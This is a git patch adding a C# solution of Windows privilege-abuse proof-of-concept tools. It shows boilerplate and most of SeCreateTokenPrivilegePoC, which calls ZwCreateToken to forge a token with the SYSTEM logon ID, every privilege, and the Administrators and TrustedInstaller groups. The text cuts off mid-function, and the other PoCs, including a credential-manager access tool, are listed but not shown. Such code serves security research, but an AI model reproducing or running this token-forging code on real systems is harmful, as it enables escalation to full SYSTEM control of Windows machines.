From 3b15ad49d7e020c388a79c9f68c940debdd3dacd Mon Sep 17 00:00:00 2001 From: daem0nc0re Date: Wed, 29 Jun 2022 08:59:07 +0900 Subject: [PATCH] Add PrivilegedOperations project --- PrivilegedOperations/PrivilegedOperations.sln | 55 ++ .../SeCreateTokenPrivilegePoC/App.config | 6 + .../Properties/AssemblyInfo.cs | 36 + .../SeCreateTokenPrivilegePoC.cs | 916 ++++++++++++++++++ .../SeCreateTokenPrivilegePoC.csproj | 54 ++ .../SeDebugPrivilegePoC/App.config | 6 + .../Properties/AssemblyInfo.cs | 36 + .../SeDebugPrivilegePoC.cs | 171 ++++ .../SeDebugPrivilegePoC.csproj | 54 ++ .../SeRestorePrivilegePoC/App.config | 6 + .../Properties/AssemblyInfo.cs | 36 + .../SeRestorePrivilegePoC.cs | 153 +++ .../SeRestorePrivilegePoC.csproj | 54 ++ .../SeShutdownPrivilegePoC/App.config | 6 + .../Properties/AssemblyInfo.cs | 36 + .../SeShutdownPrivilegePoC.cs | 223 +++++ .../SeShutdownPrivilegePoC.csproj | 54 ++ .../SeTcbPrivilegePoC/App.config | 6 + .../Properties/AssemblyInfo.cs | 36 + .../SeTcbPrivilegePoC/SeTcbPrivilegePoC.cs | 804 +++++++++++++++ .../SeTcbPrivilegePoC.csproj | 53 + .../App.config | 6 + .../HexDump.cs | 75 ++ .../Properties/AssemblyInfo.cs | 36 + .../SeTrustedCredManAccessPrivilegePoC.cs | 247 +++++ .../SeTrustedCredManAccessPrivilegePoC.csproj | 55 ++ 26 files changed, 3220 insertions(+) create mode 100644 PrivilegedOperations/PrivilegedOperations.sln create mode 100644 PrivilegedOperations/SeCreateTokenPrivilegePoC/App.config create mode 100644 PrivilegedOperations/SeCreateTokenPrivilegePoC/Properties/AssemblyInfo.cs create mode 100644 PrivilegedOperations/SeCreateTokenPrivilegePoC/SeCreateTokenPrivilegePoC.cs create mode 100644 PrivilegedOperations/SeCreateTokenPrivilegePoC/SeCreateTokenPrivilegePoC.csproj create mode 100644 PrivilegedOperations/SeDebugPrivilegePoC/App.config create mode 100644 PrivilegedOperations/SeDebugPrivilegePoC/Properties/AssemblyInfo.cs create mode 100644 PrivilegedOperations/SeDebugPrivilegePoC/SeDebugPrivilegePoC.cs create mode 100644 PrivilegedOperations/SeDebugPrivilegePoC/SeDebugPrivilegePoC.csproj create mode 100644 PrivilegedOperations/SeRestorePrivilegePoC/App.config create mode 100644 PrivilegedOperations/SeRestorePrivilegePoC/Properties/AssemblyInfo.cs create mode 100644 PrivilegedOperations/SeRestorePrivilegePoC/SeRestorePrivilegePoC.cs create mode 100644 PrivilegedOperations/SeRestorePrivilegePoC/SeRestorePrivilegePoC.csproj create mode 100644 PrivilegedOperations/SeShutdownPrivilegePoC/App.config create mode 100644 PrivilegedOperations/SeShutdownPrivilegePoC/Properties/AssemblyInfo.cs create mode 100644 PrivilegedOperations/SeShutdownPrivilegePoC/SeShutdownPrivilegePoC.cs create mode 100644 PrivilegedOperations/SeShutdownPrivilegePoC/SeShutdownPrivilegePoC.csproj create mode 100644 PrivilegedOperations/SeTcbPrivilegePoC/App.config create mode 100644 PrivilegedOperations/SeTcbPrivilegePoC/Properties/AssemblyInfo.cs create mode 100644 PrivilegedOperations/SeTcbPrivilegePoC/SeTcbPrivilegePoC.cs create mode 100644 PrivilegedOperations/SeTcbPrivilegePoC/SeTcbPrivilegePoC.csproj create mode 100644 PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/App.config create mode 100644 PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/HexDump.cs create mode 100644 PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/Properties/AssemblyInfo.cs create mode 100644 PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/SeTrustedCredManAccessPrivilegePoC.cs create mode 100644 PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/SeTrustedCredManAccessPrivilegePoC.csproj diff --git a/PrivilegedOperations/PrivilegedOperations.sln b/PrivilegedOperations/PrivilegedOperations.sln new file mode 100644 index 0000000..1617ccd --- /dev/null +++ b/PrivilegedOperations/PrivilegedOperations.sln @@ -0,0 +1,55 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31829.152 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SeDebugPrivilegePoC", "SeDebugPrivilegePoC\SeDebugPrivilegePoC.csproj", "{5745976E-48A7-4F79-9BAA-82D1F43D1261}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SeRestorePrivilegePoC", "SeRestorePrivilegePoC\SeRestorePrivilegePoC.csproj", "{9A374E66-70B5-433D-8D7D-89E3F8AC0617}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SeCreateTokenPrivilegePoC", "SeCreateTokenPrivilegePoC\SeCreateTokenPrivilegePoC.csproj", "{4349B8A8-F17B-44D5-AE4D-21BE9C9D1573}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SeTcbPrivilegePoC", "SeTcbPrivilegePoC\SeTcbPrivilegePoC.csproj", "{2297A528-E866-4056-814A-D01C1C305A38}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SeShutdownPrivilegePoC", "SeShutdownPrivilegePoC\SeShutdownPrivilegePoC.csproj", "{9E36AE6E-B9FD-4B9B-99BA-42D3EACD7506}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SeTrustedCredManAccessPrivilegePoC", "SeTrustedCredManAccessPrivilegePoC\SeTrustedCredManAccessPrivilegePoC.csproj", "{8DED0EC8-3611-4481-88FC-14B82531FD2B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5745976E-48A7-4F79-9BAA-82D1F43D1261}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {5745976E-48A7-4F79-9BAA-82D1F43D1261}.Debug|Any CPU.Build.0 = Debug|Any CPU + {5745976E-48A7-4F79-9BAA-82D1F43D1261}.Release|Any CPU.ActiveCfg = Release|Any CPU + {5745976E-48A7-4F79-9BAA-82D1F43D1261}.Release|Any CPU.Build.0 = Release|Any CPU + {9A374E66-70B5-433D-8D7D-89E3F8AC0617}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {9A374E66-70B5-433D-8D7D-89E3F8AC0617}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9A374E66-70B5-433D-8D7D-89E3F8AC0617}.Release|Any CPU.ActiveCfg = Release|Any CPU + {9A374E66-70B5-433D-8D7D-89E3F8AC0617}.Release|Any CPU.Build.0 = Release|Any CPU + {4349B8A8-F17B-44D5-AE4D-21BE9C9D1573}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {4349B8A8-F17B-44D5-AE4D-21BE9C9D1573}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4349B8A8-F17B-44D5-AE4D-21BE9C9D1573}.Release|Any CPU.ActiveCfg = Release|Any CPU + {4349B8A8-F17B-44D5-AE4D-21BE9C9D1573}.Release|Any CPU.Build.0 = Release|Any CPU + {2297A528-E866-4056-814A-D01C1C305A38}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {2297A528-E866-4056-814A-D01C1C305A38}.Debug|Any CPU.Build.0 = Debug|Any CPU + {2297A528-E866-4056-814A-D01C1C305A38}.Release|Any CPU.ActiveCfg = Release|Any CPU + {2297A528-E866-4056-814A-D01C1C305A38}.Release|Any CPU.Build.0 = Release|Any CPU + {9E36AE6E-B9FD-4B9B-99BA-42D3EACD7506}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {9E36AE6E-B9FD-4B9B-99BA-42D3EACD7506}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9E36AE6E-B9FD-4B9B-99BA-42D3EACD7506}.Release|Any CPU.ActiveCfg = Release|Any CPU + {9E36AE6E-B9FD-4B9B-99BA-42D3EACD7506}.Release|Any CPU.Build.0 = Release|Any CPU + {8DED0EC8-3611-4481-88FC-14B82531FD2B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8DED0EC8-3611-4481-88FC-14B82531FD2B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8DED0EC8-3611-4481-88FC-14B82531FD2B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8DED0EC8-3611-4481-88FC-14B82531FD2B}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {241D61CA-C5E4-48B0-BBDE-803DBB7579EA} + EndGlobalSection +EndGlobal diff --git a/PrivilegedOperations/SeCreateTokenPrivilegePoC/App.config b/PrivilegedOperations/SeCreateTokenPrivilegePoC/App.config new file mode 100644 index 0000000..8e15646 --- /dev/null +++ b/PrivilegedOperations/SeCreateTokenPrivilegePoC/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/PrivilegedOperations/SeCreateTokenPrivilegePoC/Properties/AssemblyInfo.cs b/PrivilegedOperations/SeCreateTokenPrivilegePoC/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..4f71bd3 --- /dev/null +++ b/PrivilegedOperations/SeCreateTokenPrivilegePoC/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SeCreateTokenPrivilegePoC")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SeCreateTokenPrivilegePoC")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("4349b8a8-f17b-44d5-ae4d-21be9c9d1573")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/PrivilegedOperations/SeCreateTokenPrivilegePoC/SeCreateTokenPrivilegePoC.cs b/PrivilegedOperations/SeCreateTokenPrivilegePoC/SeCreateTokenPrivilegePoC.cs new file mode 100644 index 0000000..adcb301 --- /dev/null +++ b/PrivilegedOperations/SeCreateTokenPrivilegePoC/SeCreateTokenPrivilegePoC.cs @@ -0,0 +1,916 @@ +using System; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; + +namespace SeCreateTokenPrivilegePoC +{ + class SeCreateTokenPrivilegePoC + { + // Windows definition + // Windows enum + [Flags] + enum FormatMessageFlags : uint + { + FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100, + FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200, + FORMAT_MESSAGE_FROM_STRING = 0x00000400, + FORMAT_MESSAGE_FROM_HMODULE = 0x00000800, + FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000, + FORMAT_MESSAGE_ARGUMENT_ARRAY = 0x00002000 + } + + enum SECURITY_IMPERSONATION_LEVEL + { + SecurityAnonymous, + SecurityIdentification, + SecurityImpersonation, + SecurityDelegation + } + + [Flags] + enum SE_GROUP_ATTRIBUTES : uint + { + SE_GROUP_MANDATORY = 0x00000001, + SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002, + SE_GROUP_ENABLED = 0x00000004, + SE_GROUP_OWNER = 0x00000008, + SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010, + SE_GROUP_INTEGRITY = 0x00000020, + SE_GROUP_INTEGRITY_ENABLED = 0x00000040, + SE_GROUP_RESOURCE = 0x20000000, + SE_GROUP_LOGON_ID = 0xC0000000 + } + + [Flags] + enum SE_PRIVILEGE_ATTRIBUTES : uint + { + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001, + SE_PRIVILEGE_ENABLED = 0x00000002, + SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000, + } + + enum SID_NAME_USE + { + SidTypeUser = 1, + SidTypeGroup, + SidTypeDomain, + SidTypeAlias, + SidTypeWellKnownGroup, + SidTypeDeletedAccount, + SidTypeInvalid, + SidTypeUnknown, + SidTypeComputer + } + + [Flags] + enum TokenAccessFlags : uint + { + TOKEN_ADJUST_DEFAULT = 0x0080, + TOKEN_ADJUST_GROUPS = 0x0040, + TOKEN_ADJUST_PRIVILEGES = 0x0020, + TOKEN_ADJUST_SESSIONID = 0x0100, + TOKEN_ASSIGN_PRIMARY = 0x0001, + TOKEN_DUPLICATE = 0x0002, + TOKEN_EXECUTE = 0x00020000, + TOKEN_IMPERSONATE = 0x0004, + TOKEN_QUERY = 0x0008, + TOKEN_QUERY_SOURCE = 0x0010, + TOKEN_READ = 0x00020008, + TOKEN_WRITE = 0x000200E0, + TOKEN_ALL_ACCESS = 0x000F01FF, + MAXIMUM_ALLOWED = 0x02000000 + } + + enum TOKEN_INFORMATION_CLASS + { + TokenUser = 1, + TokenGroups, + TokenPrivileges, + TokenOwner, + TokenPrimaryGroup, + TokenDefaultDacl, + TokenSource, + TokenType, + TokenImpersonationLevel, + TokenStatistics, + TokenRestrictedSids, + TokenSessionId, + TokenGroupsAndPrivileges, + TokenSessionReference, + TokenSandBoxInert, + TokenAuditPolicy, + TokenOrigin, + TokenElevationType, + TokenLinkedToken, + TokenElevation, + TokenHasRestrictions, + TokenAccessInformation, + TokenVirtualizationAllowed, + TokenVirtualizationEnabled, + TokenIntegrityLevel, + TokenUIAccess, + TokenMandatoryPolicy, + TokenLogonSid, + MaxTokenInfoClass + } + + enum TOKEN_TYPE + { + TokenPrimary = 1, + TokenImpersonation + } + + // Windows Struct + [StructLayout(LayoutKind.Explicit, Size = 8)] + struct LARGE_INTEGER + { + [FieldOffset(0)] + public int Low; + [FieldOffset(4)] + public int High; + [FieldOffset(0)] + public long QuadPart; + + public LARGE_INTEGER(int _low, int _high) + { + QuadPart = 0L; + Low = _low; + High = _high; + } + + public LARGE_INTEGER(long _quad) + { + Low = 0; + High = 0; + QuadPart = _quad; + } + + public long ToInt64() + { + return ((long)this.High << 32) | (uint)this.Low; + } + + public static LARGE_INTEGER FromInt64(long value) + { + return new LARGE_INTEGER + { + Low = (int)(value), + High = (int)((value >> 32)) + }; + } + } + + [StructLayout(LayoutKind.Sequential)] + struct LUID + { + public uint LowPart; + public uint HighPart; + + public LUID(uint _lowPart, uint _highPart) + { + LowPart = _lowPart; + HighPart = _highPart; + } + } + + [StructLayout(LayoutKind.Sequential, Pack = 4)] + struct LUID_AND_ATTRIBUTES + { + public LUID Luid; + public uint Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + struct OBJECT_ATTRIBUTES : IDisposable + { + public int Length; + public IntPtr RootDirectory; + private IntPtr objectName; + public uint Attributes; + public IntPtr SecurityDescriptor; + public IntPtr SecurityQualityOfService; + + public OBJECT_ATTRIBUTES(string name, uint attrs) + { + Length = 0; + RootDirectory = IntPtr.Zero; + objectName = IntPtr.Zero; + Attributes = attrs; + SecurityDescriptor = IntPtr.Zero; + SecurityQualityOfService = IntPtr.Zero; + + Length = Marshal.SizeOf(this); + ObjectName = new UNICODE_STRING(name); + } + + public UNICODE_STRING ObjectName + { + get + { + return (UNICODE_STRING)Marshal.PtrToStructure( + objectName, typeof(UNICODE_STRING)); + } + + set + { + bool fDeleteOld = objectName != IntPtr.Zero; + if (!fDeleteOld) + objectName = Marshal.AllocHGlobal(Marshal.SizeOf(value)); + Marshal.StructureToPtr(value, objectName, fDeleteOld); + } + } + + public void Dispose() + { + if (objectName != IntPtr.Zero) + { + Marshal.DestroyStructure(objectName, typeof(UNICODE_STRING)); + Marshal.FreeHGlobal(objectName); + objectName = IntPtr.Zero; + } + } + } + + [StructLayout(LayoutKind.Sequential)] + struct SECURITY_QUALITY_OF_SERVICE + { + readonly int Length; + readonly SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; + readonly byte ContextTrackingMode; + readonly byte EffectiveOnly; + + public SECURITY_QUALITY_OF_SERVICE( + SECURITY_IMPERSONATION_LEVEL _impersonationLevel, + byte _contextTrackingMode, + byte _effectiveOnly) + { + Length = 0; + ImpersonationLevel = _impersonationLevel; + ContextTrackingMode = _contextTrackingMode; + EffectiveOnly = _effectiveOnly; + + Length = Marshal.SizeOf(this); + } + } + + [StructLayout(LayoutKind.Sequential)] + struct SID + { + public byte Revision; + public byte SubAuthorityCount; + public SID_IDENTIFIER_AUTHORITY IdentifierAuthority; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] + public uint[] SubAuthority; + } + + [StructLayout(LayoutKind.Sequential)] + struct SID_AND_ATTRIBUTES + { + public IntPtr Sid; // PSID + public uint Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + struct SID_IDENTIFIER_AUTHORITY + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)] + public byte[] Value; + + public SID_IDENTIFIER_AUTHORITY(byte[] value) + { + Value = value; + } + } + + [StructLayout(LayoutKind.Sequential)] + struct TOKEN_DEFAULT_DACL + { + public IntPtr DefaultDacl; // PACL + } + + [StructLayout(LayoutKind.Sequential)] + struct TOKEN_GROUPS + { + public int GroupCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] + public SID_AND_ATTRIBUTES[] Groups; + + public TOKEN_GROUPS(int privilegeCount) + { + GroupCount = privilegeCount; + Groups = new SID_AND_ATTRIBUTES[32]; + } + }; + + [StructLayout(LayoutKind.Sequential)] + struct TOKEN_OWNER + { + public IntPtr Owner; // PSID + + public TOKEN_OWNER(IntPtr _owner) + { + Owner = _owner; + } + } + + [StructLayout(LayoutKind.Sequential)] + struct TOKEN_PRIMARY_GROUP + { + public IntPtr PrimaryGroup; // PSID + + public TOKEN_PRIMARY_GROUP(IntPtr _sid) + { + PrimaryGroup = _sid; + } + } + + [StructLayout(LayoutKind.Sequential)] + struct TOKEN_PRIVILEGES + { + public int PrivilegeCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)] + public LUID_AND_ATTRIBUTES[] Privileges; + + public TOKEN_PRIVILEGES(int privilegeCount) + { + PrivilegeCount = privilegeCount; + Privileges = new LUID_AND_ATTRIBUTES[36]; + } + } + + [StructLayout(LayoutKind.Sequential)] + struct TOKEN_SOURCE + { + public TOKEN_SOURCE(string name) + { + SourceName = new byte[8]; + Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0); + if (!AllocateLocallyUniqueId(out SourceIdentifier)) + throw new System.ComponentModel.Win32Exception(); + } + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public byte[] SourceName; + public LUID SourceIdentifier; + } + + [StructLayout(LayoutKind.Sequential)] + struct TOKEN_USER + { + public SID_AND_ATTRIBUTES User; + + public TOKEN_USER(IntPtr _sid) + { + User = new SID_AND_ATTRIBUTES + { + Sid = _sid, + Attributes = 0 + }; + } + } + + [StructLayout(LayoutKind.Sequential)] + struct UNICODE_STRING : IDisposable + { + public ushort Length; + public ushort MaximumLength; + private IntPtr buffer; + + public UNICODE_STRING(string s) + { + Length = (ushort)(s.Length * 2); + MaximumLength = (ushort)(Length + 2); + buffer = Marshal.StringToHGlobalUni(s); + } + + public void Dispose() + { + Marshal.FreeHGlobal(buffer); + buffer = IntPtr.Zero; + } + + public override string ToString() + { + return Marshal.PtrToStringUni(buffer); + } + } + + // Windows API + /* + * advapi32.dll + */ + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + static extern bool AllocateLocallyUniqueId(out LUID Luid); + + [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)] + static extern bool ConvertSidToStringSid(IntPtr pSid, out string strSid); + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + static extern bool ConvertStringSidToSid(string StringSid, out IntPtr pSid); + + [DllImport("advapi32.dll", SetLastError = true)] + static extern bool GetTokenInformation( + IntPtr TokenHandle, + TOKEN_INFORMATION_CLASS TokenInformationClass, + IntPtr TokenInformation, + int TokenInformationLength, + out int ReturnLength); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + static extern bool IsValidSid(IntPtr pSid); + + [DllImport("advapi32.dll", SetLastError = true)] + static extern bool LookupAccountName( + IntPtr lpSystemName, + string lpAccountName, + IntPtr Sid, + ref int cbSid, + StringBuilder ReferencedDomainName, + ref int cchReferencedDomainName, + out SID_NAME_USE peUse); + + [DllImport("advapi32.dll")] + static extern bool LookupPrivilegeValue( + string lpSystemName, + string lpName, + out LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + static extern bool SetThreadToken( + IntPtr pHandle, + IntPtr hToken); + + /* + * kenel32.dll + */ + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool CloseHandle(IntPtr hModule); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + static extern int FormatMessage( + FormatMessageFlags dwFlags, + IntPtr lpSource, + int dwMessageId, + int dwLanguageId, + StringBuilder lpBuffer, + int nSize, + IntPtr Arguments); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool FreeLibrary(IntPtr hLibModule); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern int GetCurrentThreadId(); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] + static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr LocalFree(IntPtr hMem); + + /* + * ntdll.dll + */ + [DllImport("ntdll.dll")] + static extern void RtlGetNtVersionNumbers( + ref int MajorVersion, + ref int MinorVersion, + ref int BuildNumber); + + [DllImport("ntdll.dll")] + static extern int ZwCreateToken( + out IntPtr TokenHandle, + TokenAccessFlags DesiredAccess, + ref OBJECT_ATTRIBUTES ObjectAttributes, + TOKEN_TYPE TokenType, + ref LUID AuthenticationId, + ref LARGE_INTEGER ExpirationTime, + ref TOKEN_USER TokenUser, + ref TOKEN_GROUPS TokenGroups, + ref TOKEN_PRIVILEGES TokenPrivileges, + ref TOKEN_OWNER TokenOwner, + ref TOKEN_PRIMARY_GROUP TokenPrimaryGroup, + ref TOKEN_DEFAULT_DACL TokenDefaultDacl, + ref TOKEN_SOURCE TokenSource); + + const int STATUS_SUCCESS = 0; + const int ERROR_INSUFFICIENT_BUFFER = 0x0000007A; + const string DOMAIN_ALIAS_RID_ADMINS = "S-1-5-32-544"; + const string TRUSTED_INSTALLER_RID = "S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464"; + const string UNTRUSTED_MANDATORY_LEVEL = "S-1-16-0"; + const string LOW_MANDATORY_LEVEL = "S-1-16-4096"; + const string MEDIUM_MANDATORY_LEVEL = "S-1-16-8192"; + const string MEDIUM_PLUS_MANDATORY_LEVEL = "S-1-16-8448"; + const string HIGH_MANDATORY_LEVEL = "S-1-16-12288"; + const string SYSTEM_MANDATORY_LEVEL = "S-1-16-16384"; + const string LOCAL_SYSTEM_RID = "S-1-5-18"; + const string SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege"; + const string SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"; + const string SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege"; + const string SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege"; + const string SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege"; + const string SE_TCB_NAME = "SeTcbPrivilege"; + const string SE_SECURITY_NAME = "SeSecurityPrivilege"; + const string SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege"; + const string SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege"; + const string SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege"; + const string SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege"; + const string SE_PROFILE_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege"; + const string SE_INCREASE_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege"; + const string SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege"; + const string SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege"; + const string SE_BACKUP_NAME = "SeBackupPrivilege"; + const string SE_RESTORE_NAME = "SeRestorePrivilege"; + const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege"; + const string SE_DEBUG_NAME = "SeDebugPrivilege"; + const string SE_AUDIT_NAME = "SeAuditPrivilege"; + const string SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege"; + const string SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege"; + const string SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege"; + const string SE_UNDOCK_NAME = "SeUndockPrivilege"; + const string SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege"; + const string SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege"; + const string SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege"; + const string SE_IMPERSONATE_NAME = "SeImpersonatePrivilege"; + const string SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege"; + const string SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege"; + const string SE_RELABEL_NAME = "SeRelabelPrivilege"; + const string SE_INCREASE_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege"; + const string SE_TIME_ZONE_NAME = "SeTimeZonePrivilege"; + const string SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege"; + const string SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME = "SeDelegateSessionUserImpersonatePrivilege"; + const byte SECURITY_STATIC_TRACKING = 0; + static readonly LUID SYSTEM_LUID = new LUID(0x3e7, 0); + + + static IntPtr CreateElevatedToken(TOKEN_TYPE tokenType) + { + int error; + LUID authId = SYSTEM_LUID; + var tokenSource = new TOKEN_SOURCE("*SYSTEM*"); + tokenSource.SourceIdentifier.HighPart = 0; + tokenSource.SourceIdentifier.LowPart = 0; + var privs = new string[] { + SE_CREATE_TOKEN_NAME, + SE_ASSIGNPRIMARYTOKEN_NAME, + SE_LOCK_MEMORY_NAME, + SE_INCREASE_QUOTA_NAME, + SE_MACHINE_ACCOUNT_NAME, + SE_TCB_NAME, + SE_SECURITY_NAME, + SE_TAKE_OWNERSHIP_NAME, + SE_LOAD_DRIVER_NAME, + SE_SYSTEM_PROFILE_NAME, + SE_SYSTEMTIME_NAME, + SE_PROFILE_SINGLE_PROCESS_NAME, + SE_INCREASE_BASE_PRIORITY_NAME, + SE_CREATE_PAGEFILE_NAME, + SE_CREATE_PERMANENT_NAME, + SE_BACKUP_NAME, + SE_RESTORE_NAME, + SE_SHUTDOWN_NAME, + SE_DEBUG_NAME, + SE_AUDIT_NAME, + SE_SYSTEM_ENVIRONMENT_NAME, + SE_CHANGE_NOTIFY_NAME, + SE_REMOTE_SHUTDOWN_NAME, + SE_UNDOCK_NAME, + SE_SYNC_AGENT_NAME, + SE_ENABLE_DELEGATION_NAME, + SE_MANAGE_VOLUME_NAME, + SE_IMPERSONATE_NAME, + SE_CREATE_GLOBAL_NAME, + SE_TRUSTED_CREDMAN_ACCESS_NAME, + SE_RELABEL_NAME, + SE_INCREASE_WORKING_SET_NAME, + SE_TIME_ZONE_NAME, + SE_CREATE_SYMBOLIC_LINK_NAME, + SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME + }; + + Console.WriteLine("[>] Trying to create an elevated {0} token.", + tokenType == TOKEN_TYPE.TokenPrimary ? "primary" : "impersonation"); + + if (!ConvertStringSidToSid( + DOMAIN_ALIAS_RID_ADMINS, + out IntPtr pAdministrators)) + { + error = Marshal.GetLastWin32Error(); + Console.WriteLine("[-] Failed to get SID for Administrators."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + + return IntPtr.Zero; + } + + if (!ConvertStringSidToSid( + LOCAL_SYSTEM_RID, + out IntPtr pLocalSystem)) + { + error = Marshal.GetLastWin32Error(); + Console.WriteLine("[-] Failed to get SID for LocalSystem."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + + return IntPtr.Zero; + } + + if (!ConvertStringSidToSid( + SYSTEM_MANDATORY_LEVEL, + out IntPtr pSystemIntegrity)) + { + error = Marshal.GetLastWin32Error(); + Console.WriteLine("[-] Failed to get SID for LocalSystem."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + + return IntPtr.Zero; + } + + if (!ConvertStringSidToSid( + TRUSTED_INSTALLER_RID, + out IntPtr pTrustedInstaller)) + { + error = Marshal.GetLastWin32Error(); + Console.WriteLine("[-] Failed to get SID for TrustedInstaller."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + + return IntPtr.Zero; + } + + if (!CreateTokenPrivileges( + privs, + out TOKEN_PRIVILEGES tokenPrivileges)) + { + return 